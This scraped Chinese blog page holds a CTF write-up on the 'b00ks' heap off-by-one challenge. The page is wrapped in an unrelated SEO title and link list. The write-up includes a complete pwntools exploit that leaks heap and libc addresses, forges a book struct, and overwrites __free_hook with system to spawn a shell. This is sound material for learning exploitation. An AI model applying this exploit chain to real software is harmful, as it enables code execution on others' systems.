当前位置: 首页 > news >正文

网站制作价格低不备案如何架设网站

网站制作价格低,不备案如何架设网站,网站设计师接单,简述电子商务网站建设流程萌新进度太慢了#xff0c;才真正开始heap#xff0c;还是从简单的Off-By-One开始吧 前言 步入堆的学习。堆的知识复杂而多#xff0c;于是想着由wiki从简单部分逐个啃。 b00ks是经典的堆上off-by-one漏洞题目。刚开始看很懵#xff08;因为确实连堆的管理机制都没有完全… 萌新进度太慢了才真正开始heap还是从简单的Off-By-One开始吧 前言 步入堆的学习。堆的知识复杂而多于是想着由wiki从简单部分逐个啃。 b00ks是经典的堆上off-by-one漏洞题目。刚开始看很懵因为确实连堆的管理机制都没有完全了解。 一、一些疑难点以及思考 wp在网上有很多然而读了五六篇不同大佬师傅写的wp发现有很多细节被忽略了可能这些细节都是很简单的然而作为萌新一些基本的知识和思路还是缺乏。 好在经过两三天的啃、跟着做终于有了一些见解基本思路也打通了。具体的wp就不在这里写了可以食用其他大佬的wp更为优质而我就做一些补充。一些来自于本蒟蒻的细节的补充。 细节0off-by-one进行的单字节溢出可以用作泄露可以用作覆写。 细节1结构体分配内存时先name成员指针、再description成员指针、后book结构体指针 这个细节决定了我们通过off-by-one进行单字节溢出时地址总是减小因此可以将book1结构体更新到description 细节2description可以修改因此布置fake-book1要在单字节覆写之前name不可以修改但是会被首先free——即free_hook在free name时首先发作 这就意味着——如果不用onegadget而利用system(/bin/sh)那就需要把name指针布置为bin_sh字符串指针也就是需要修改name——我们可以修改fake_book1的desc指针指向book2的name的地址同时由于book结构体中name、desc两个指针相邻所以修改name值时填入p64(bin_sh)p64(free_hook)即可覆写namedesc指针为指定指针 细节3fake_book1的偏移为了能让fake_book1落在指定的、更新后的book1的位置前面可能需要填充padding这个通过gdb调试将偏移后的伪结构体数据布置到指定指针位置。 每次运行虽然heap变化但是低位不变因此偏移也固定。为了方便布置可以将book1的descrption内容开大一些。 二、EXP from pwn import *context(archamd64,log_leveldebug)ioprocess(./b00ks) def create(namesize,name,descriptionsize,description):io.sendlineafter(b ,b1)io.sendlineafter(b\nEnter book name size: ,str(namesize).encode())io.sendlineafter(bEnter book name (Max 32 chars): ,name)io.sendlineafter(b\nEnter book description size: ,str(descriptionsize).encode())io.sendlineafter(bEnter book description: ,description) def delete(bookid):io.sendlineafter(b ,b2)io.sendlineafter(bEnter the book id you want to delete: ,str(bookid).encode())def edit(bookid,newdescription):io.sendlineafter(b ,b3)io.sendlineafter(bEnter the book id you want to edit: ,str(bookid).encode())io.sendlineafter(bnter new book description: ,newdescription)def printinfo(id):io.sendlineafter(b ,b4)for i in range(id):io.recvuntil(bID: )IDio.recvuntil(b\n,dropTrue)io.recvuntil(bName: )Nameio.recvuntil(b\n,dropTrue)io.recvuntil(bDescription: )Descriptionio.recvuntil(b\n,dropTrue)io.recvuntil(bAuthor: )Authorio.recvuntil(b\n,dropTrue)return ID,Name,Description,Authordef changeAuthor(newAuthorname):io.sendlineafter(b ,b5)io.sendlineafter(bEnter author name: ,newAuthorname)### 1.泄露第一个book结构体的指针 # gdb.attach(io) booknameba*32 io.sendlineafter(bEnter author name: ,bookname) create(16,ba,256,ba)io.sendlineafter(b ,b4) io.recvuntil(ba*32) book1_ptru64(io.recvuntil(b\n\n1.,dropTrue).ljust(8,b\x00)) success(book1_ptr{}.format(hex(book1_ptr))) raw_input()### 2.伪造book1并通过off-by-one修改book1到fake_book1 # 将fake_book1的name_ptr属性指向book2的name将fake_book1的description_ptr属性指向book2的description # 注意由于name和description属性都是malloc的且因为book结构体malloc(0x20)所以开辟的实际空间是0x30### 之所以0x40(desc)在前0x38(name)在后是因为第二个位置对应可修改的desc指针可以通过其修改book2的name、desc fake_book1bc*0xc0p64(1)p64(book1_ptr0x40)p64(book1_ptr0x38)p64(0xffff) # fake_book1bc*0x20p64(1)p64(book1_ptr0x38)p64(book1_ptr0x40)p64(0xffff) edit(1,fake_book1)# 为了泄露libc版本需要让book2的name或description由mmap分配同时也因此book1和book2的堆空间相邻 create(0x21000,bb,0x21000,bb) changeAuthor(bookname) # 注意下面的顺序先desc再name对应payload的布置 book2_id,book2_desc,book2_name,book2_authorprintinfo(1) print(book2_id,book2_name,book2_desc,book2_author) book2_name_ptru64(book2_name.ljust(8,b\x00)) success(book2_name_ptr:{}.format(hex(book2_name_ptr))) book2_desc_ptru64(book2_desc.ljust(8,b\x00)) success(book2_desc_ptr:{}.format(hex(book2_desc_ptr))) raw_input()libc_basebook2_name_ptr-0x5cf010 libcELF(/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so) systemlibc_baselibc.sym[system] success(system:{}.format(hex(system))) execvelibc_baselibc.sym[execve] success(execve:{}.format(hex(execve))) bin_shlibc_basenext(libc.search(b/bin/sh\x00)) success(bin_sh:{}.format(hex(bin_sh))) free_hooklibc_baselibc.sym[__free_hook] raw_input()### 通过onegadget来打但是均失败了 # one_gadgetlibc_base0xebc88 # 0x50a47 0xebc81 0xebc85 0xebc88 # edit(1,p64(0)p64(free_hook)) # edit(2,p64(one_gadget)) # delete(2) ### 注意这里的onegadget是没有patchelf该so和ld文件前即22.04版16.04版未尝试### 通过system(/bin/sh)来打 edit(1,p64(bin_sh)p64(free_hook)) #book2的name指针改为指向字符串/bin/sh的指针desc指针指向free_hook edit(2,p64(system)) #修改free_hook的值为system\ raw_input() delete(2)# name指向的区域最先free,触发free_hook此时已改为systemio.interactive() 三、效果 总结 还是比较难的但是跟着wp做了一遍发现细节、原理、思路以及流程都能够了解并掌握且gdb调适能力大大提升。加油
http://www.w-s-a.com/news/752296/

相关文章:

  • 可信赖的手机网站建设wordpress 显示摘要
  • 谁给我一个企业邮箱认证wordpress优化攻略
  • 建站软件免费版下载涿州做网站的
  • html5网站开发西安哪家网站建设公司好
  • 怎么做网站赚广州番禺区是富人区吗
  • 服装网站推广方案戴尔网站建设成功
  • 手机网站布局国外可以用什么网站做问卷
  • 手机建网站网店logo设计图片免费
  • 装修网站有哪些wordpress外网访问错误
  • 个人做电影网站服务器放国外安全吗建设通app
  • 西安公司网站开发快站官网平台
  • 北京网站设计公司哪个好网站开发属于哪个部门
  • 现在海外做的比较好一点的网站网站报价书
  • 做整站优化漳州建网站
  • jsp网站建设期末作业搜索引擎优化的定义是什么
  • 网站建设一级页面二级页面WordPress托管如果使用插件
  • 网站导航栏设计代码织梦做泰文网站
  • 网站建设的定位是什么南通网站定制费用
  • 怎么seo网站推广能免费观看所有电视剧的app
  • 大学网站建设做网站的用什么软件呢
  • 网站建设建设公司哪家好seo网站优化推广
  • 网站服务器组建网站案例上海
  • 盘锦949公社最新招聘优化大师免费版
  • 国外有哪些网站是做弱电的中国国家培训网正规吗
  • 30分钟网站建设教程视频全屋整装120平米的多少钱
  • 生成链接的网站aso优化平台
  • 策划网站建设方案电商扶贫网站建设
  • 网站策划建设方法企业网站建设问题研究
  • 昆明专业网站建设的公司帮别人制作wordpress赚钱吗
  • 高校校园网站建设天水市建设局网站公告